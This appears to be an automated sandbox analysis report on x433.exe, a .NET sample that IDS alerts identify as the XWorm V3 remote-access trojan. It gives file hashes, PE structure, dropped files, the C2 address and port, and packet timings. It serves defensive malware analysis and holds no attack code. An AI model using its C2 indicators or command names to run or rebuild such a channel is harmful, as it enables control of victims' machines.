Size (bytes):	65536
Entropy (8bit):	4.421206160086997
Encrypted:	false
SSDEEP:	384:ah1qUEzUELUEnUEQUEpUE9UE4UEvUEqUEGUEuUEyUEpjUEmUE6UEVUE1UEdUEoUF:arN5mPfkvmR
MD5:	67CAD90771EBC0BD20736201D89C1586
SHA1:	EE241B07EBD6E7A64AE367520F5C0665F4EBBAD7
SHA-256:	7801ED56F87C5A71A42128D089176CFDAACCCD6998EACCD07E46207F2CD48467
SHA-512:	27DE77A98E11A1D33B648B9F46671F61338B1746032B4AD8F003A8A5C52FB7C3ECCB834057074EF5FCD3459A0810439BAF63E1320B385F7A5E81757A90BBFD13
Malicious:	false
Preview:	ElfChnk.........l...............l...............@....^.....................................................................+t].................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&.......Q8.......................................................6......................**...............yM..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Security.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	68120
Entropy (8bit):	4.326642531839143
Encrypted:	false
SSDEEP:	384:kGFRFGFR0owonS6cWNfoLSbdsLSvnQYoxMtg6Wo9MtxLo9MtMozonuoxNo/Vo1+B:bA4a1ZGg6ULiZP
MD5:	98CC25B4C7E2603576D8A5E492E7DF93
SHA1:	F9996050914E79CA0D83E7F820405747993E5881
SHA-256:	AF14598F079DA7377AA3CBAA413CB933308A8440EC5FBF1D8AE5B897A87680CA
SHA-512:	E6260E0D530CC27CA33281B750110C4F2BEC7FAD34B0AA8EBE9786D8BFF8B9CBF26B50066E2E87BCDD288A3579ADDEB572413518DD386E42954586BC3C8BC3F9
Malicious:	false
Preview:	ElfChnk.................U.......U....................2t.....................................................................`.H.....................s...h...............N...=...................................................N...............................................w.......4.......................-...................................[...........).......M...R...:...........................................................&...................................................................................**......U.........U...........Wt.&........Wt...wX..9Ck?5.?.......A..3...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....\...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\System.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	74928
Entropy (8bit):	4.36742112325646
Encrypted:	false
SSDEEP:	384:HFRbLgxFRbLgzLEZopT2EoWDpWTHdD+pVaIna0EaiN8H8T8+HeJvGAgXZIpURCO2:l2FlnLmLQXHmtpJnqiNHpzoQpIWK+
MD5:	8A10580745FB8D4982F583AA7B6083D2
SHA1:	35F1C49A7EA27366F1ACBC6923F502212EDF0127
SHA-256:	94ABE2CF136CB913A166CA8328B24A8C4945FF3D147A71485217E789BD4B8B90
SHA-512:	53C6310467DB773750CCB3F5AC28259B762A606664F34DA9074A3ADCC7E31BBFAB276A06EAF46028E30304F83983F33AF7BB663E83FB86FCB59C4582AB06497E
Malicious:	false
Preview:	ElfChnk.................m.......r...................`.'.....................................................................+..J....................s...h...............N...=...................................................N...............................................w.......0.......................E...................................W...........).......M...3...:...........................................................................................................................&...................**......m.........U...........i.e&........i.e.t.Q...H.C.A;.......A../...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.....X...........oT..S.y.s.t.e.m....A...............{..P.r.o.v.i.d.e.r.......F=.......K...N.a.m.e.......M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.E.v.e.n.t.l.o.g..........)...G.u.i.d.....&.{.f.c.6.5.d.d.d.8.-.d.6.e.f.-.4.9.6.2.-.8.3.d.5.-.6.e.5.c.f.e.9.c.e.1.

C:\Windows\System32\winevt\Logs\Windows PowerShell.evtx

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	101424
Entropy (8bit):	3.7560696119552426
Encrypted:	false
SSDEEP:	3072:nV7jJtV7jJNV7jJAV7jJtV7jJNV7jJLV7jJFV7jJ:nV7jJtV7jJNV7jJAV7jJtV7jJNV7jJL9
MD5:	83C1685CA57A9A68110329C2E1C775AA
SHA1:	3613D69E0B57096306CB79E6231B02DA56798510
SHA-256:	082C957A6A2522C9EED6DACB22F0A50010408B9B9339E42CA962B03EE4C25AD0
SHA-512:	A0DE87623B515FE00803789DFACC3BF43459021EBF21889731BC203399E45E4E3AC048DBDCF60E6671CE4E0A810962AEDC1D43F58F1ECA7B70C2A7E75B0CC31A
Malicious:	false
Preview:	ElfChnk.................~...................._..0....7.W......................................................................xg............................................=..........................................................................................................................._...............8...........................f...................M...c...........................n...............................................&.......................................................................**..P1..~........A.Y...........B.&........B...._j..d.:Ad........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..R............{..P.r.o.v.i.d.e.r.../....=.......K...N.a.m.e.......P.o.w.e.r.S.h.e.l.l..A..M...s........a..E.v.e.n.t.I.D...'............)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n............

C:\Windows\Temp\__PSScriptPolicyTest_jkutwzzs.uaz.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_p0mqc12a.0ea.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.994440290930161
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	x433.exe
File size:	780'288 bytes
MD5:	148ec472df90b0fb274c3ce2ad2e811f
SHA1:	378ba02b08494b36ff5a2674cf99eba6c7025d6a
SHA256:	a08b846be9052a2614ef6a6920260d465774f5da9926f6d08449a2e4eb27b787
SHA512:	ab6764b598d538bc726a1e0baf02c8c4a2ccdedf77ff6b3ee63d1e27c0a05e13423142b86f38afbd9462c0d90b5c3a9963a30e110145aca455ffa5403375c5b1
SSDEEP:	12288:0sjApTtnb0TbQxMM90CL7VmADH2eJGCOTJfVXwAfIXZqPtbxZWdezgrrNo02UBYW:djuTt4TbQRjDH2eJQTNqcWOVZK1y02UH
TLSH:	B8F433785B692367D66EE6B900727E21DF53EC3B4789769A04182F162C50ECCA03F793
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....@.f................................. ........@.. .......................@............@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4bfc1e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x668140BD [Sun Jun 30 11:25:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xbfbc8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc0000	0x4d0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc2000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xbdc24	0xbde00	1a5688bf04db51adc70628236eb48478	False	0.9949712495885451	data	7.996675267651461	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc0000	0x4d0	0x600	53504d962abeba92efaa03311efac60e	False	0.3736979166666667	data	3.7040232107609024	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc2000	0xc	0x200	ee9efb4886a8adefe345e5c100203312	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc00a0	0x23c	data			0.4755244755244755
RT_MANIFEST	0xc02e0	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/02/24-00:31:31.600432	TCP	2855924	ETPRO TROJAN Win32/XWorm V3 CnC Command - PING Outbound	49731	36125	192.168.2.4	147.185.221.20
07/02/24-00:31:12.392608	TCP	2853191	ETPRO TROJAN Win32/XWorm V3 CnC Command - savePlugin Inbound	36125	49731	147.185.221.20	192.168.2.4
07/02/24-00:31:15.100229	TCP	2852923	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	49732	36125	192.168.2.4	147.185.221.20
07/02/24-00:31:12.013436	TCP	2853192	ETPRO TROJAN Win32/XWorm V3 CnC Command - sendPlugin Outbound	49731	36125	192.168.2.4	147.185.221.20
07/02/24-00:33:13.525735	TCP	2852870	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes	36125	49731	147.185.221.20	192.168.2.4
07/02/24-00:31:15.100229	TCP	2852873	ETPRO TROJAN Win32/XWorm CnC PING Command Outbound M2	49732	36125	192.168.2.4	147.185.221.20
07/02/24-00:32:52.687393	TCP	2852874	ETPRO TROJAN Win32/XWorm CnC PING Command Inbound M2	36125	49731	147.185.221.20	192.168.2.4
07/02/24-00:33:13.526536	TCP	2852923	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)	49731	36125	192.168.2.4	147.185.221.20
07/02/24-00:31:15.149071	TCP	2852870	ETPRO TROJAN Win32/XWorm CnC Checkin - Generic Prefix Bytes	36125	49732	147.185.221.20	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 2, 2024 00:31:03.820808887 CEST	49730	80	192.168.2.4	208.95.112.1
Jul 2, 2024 00:31:03.825613976 CEST	80	49730	208.95.112.1	192.168.2.4
Jul 2, 2024 00:31:03.825692892 CEST	49730	80	192.168.2.4	208.95.112.1
Jul 2, 2024 00:31:03.826421976 CEST	49730	80	192.168.2.4	208.95.112.1
Jul 2, 2024 00:31:03.831191063 CEST	80	49730	208.95.112.1	192.168.2.4
Jul 2, 2024 00:31:04.292587996 CEST	80	49730	208.95.112.1	192.168.2.4
Jul 2, 2024 00:31:04.334342003 CEST	49730	80	192.168.2.4	208.95.112.1
Jul 2, 2024 00:31:05.697464943 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:05.703119993 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:05.703509092 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:05.752739906 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:05.757488012 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:11.456789970 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:11.506366968 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.013436079 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.018239975 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.392607927 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.392748117 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.392822981 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.397713900 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.397742987 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.397785902 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.402590036 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.402720928 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.402765036 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.408546925 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.408561945 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.408603907 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.413609028 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.413635015 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.413678885 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.418541908 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.418596029 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.418651104 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.487016916 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.537492990 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.628870010 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.633656979 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.633728981 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.688009977 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.693015099 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.709578037 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.715132952 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.818953037 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.825592995 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:12.928343058 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:12.933353901 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.038012981 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.043088913 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.147437096 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.153187990 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.257433891 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.262409925 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.366189957 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.371417999 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.475655079 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.480638027 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.595983982 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.781893969 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.783298969 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.788153887 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.818958998 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.824080944 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.889915943 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:13.928525925 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:13.933818102 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.043679953 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.048641920 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.224174023 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.231005907 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.336869001 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.343239069 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.423723936 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.430355072 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.430829048 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.430860996 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.430916071 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.430958986 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.432171106 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.432202101 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.432570934 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.432676077 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.445051908 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.451576948 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.553395033 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.563580036 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.662677050 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.669680119 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.772084951 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.778834105 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.881479025 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.887845039 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:14.990904093 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:14.995982885 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:15.100229025 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:15.107449055 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:15.149070978 CEST	36125	49732	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:15.163075924 CEST	49732	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:18.669118881 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:18.673964977 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:18.952692986 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:18.954624891 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:18.959419966 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:22.696552992 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:22.740698099 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:31.600431919 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:31.605642080 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:31.880990028 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:31.885062933 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:31.890081882 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:44.525063992 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:44.530133009 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:44.817080975 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:44.818600893 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:44.826765060 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:52.686772108 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:52.740854979 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:57.444329977 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:57.451209068 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:57.726078987 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:31:57.727556944 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:31:57.734262943 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:10.367654085 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:10.374784946 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:10.649580002 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:10.697163105 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:14.677217007 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:14.684583902 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:17.137096882 CEST	80	49730	208.95.112.1	192.168.2.4
Jul 2, 2024 00:32:17.139858961 CEST	49730	80	192.168.2.4	208.95.112.1
Jul 2, 2024 00:32:22.681674004 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:22.772145987 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:32.367314100 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:32.372170925 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:32.646375895 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:32.772186995 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:47.803749084 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:47.810785055 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:48.085403919 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:48.178487062 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:50.180651903 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:32:50.181072950 CEST	49730	80	192.168.2.4	208.95.112.1
Jul 2, 2024 00:32:50.185614109 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:50.186018944 CEST	80	49730	208.95.112.1	192.168.2.4
Jul 2, 2024 00:32:52.687392950 CEST	36125	49731	147.185.221.20	192.168.2.4
Jul 2, 2024 00:32:52.772301912 CEST	49731	36125	192.168.2.4	147.185.221.20
Jul 2, 2024 00:33:00.866539001 CEST	49731	36125	192.168.2.4	147.185.221.20
